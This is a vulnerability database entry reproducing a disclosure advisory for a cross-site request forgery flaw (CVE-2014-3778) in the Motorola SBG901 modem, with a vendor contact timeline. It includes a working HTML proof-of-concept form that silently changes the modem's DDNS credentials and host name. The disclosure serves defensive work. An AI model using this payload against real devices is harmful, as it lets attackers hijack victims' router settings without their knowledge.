Motorola SBG901 Wireless Modem - CSRF Vulnerability

2014-07-01T00:00:00
ID SSV:86978
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                Exploit Title :  Motorola SBG901 Wireless Modem CSRF Vulnerability
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 06/01/2014
Vendor Homepage : http://www.arrisi.com/modems/
Software Link : N/A
Version : Motorola SBG901 Wireless modem
Tested on : Windows 7
CVE : CVE-2014-3778
Type of Application :  Web application
Release mode : Coordinated disclosure

Vulnerability description:
It was observed that this modem's Web Application , is vulnerable to
Cross-site request forgery through which attacker could manipulate user
data via sending the victim malicious crafted url.

At attacker could change the username,password ,dns service and host name
of the victim's account without the victim's knowledge.

Cross site request forgery
x.x.x.x is the ip address of the modem.



<html>
  <!-- CSRF PoC --->
  <body>
    <form action="http://x.x.x.x/goform/RgDdns" method="POST">
      <input type="hidden" name="DdnsService" value="1" />
      <input type="hidden" name="DdnsUserName" value="test" />
      <input type="hidden" name="DdnsPassword" value="test" />
      <input type="hidden" name="DdnsHostName" value="test" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Tools used :
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5

Timeline:
- 31-03-14: Contacted Vendor with details of Vulnerability and Exploit.
- 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway
product team for review
- 15-04-14: Vendor contacted to know the status.
- 01-05-14 : Contacted vendor to know the status and release the advisory
publically
- 02-05-14: Vendor acknowledged and responded that currently no fix
available since the product is no longer in production and due end of life
status product
-14-05-14: Contacted vendor the final time to release the security advisory
 publically.
-14-05-14 : Vendor responded to release the advisory publically.
-15-05-14: Requested CVE ID from Mitre team
-22-05-14: CVE ID obtained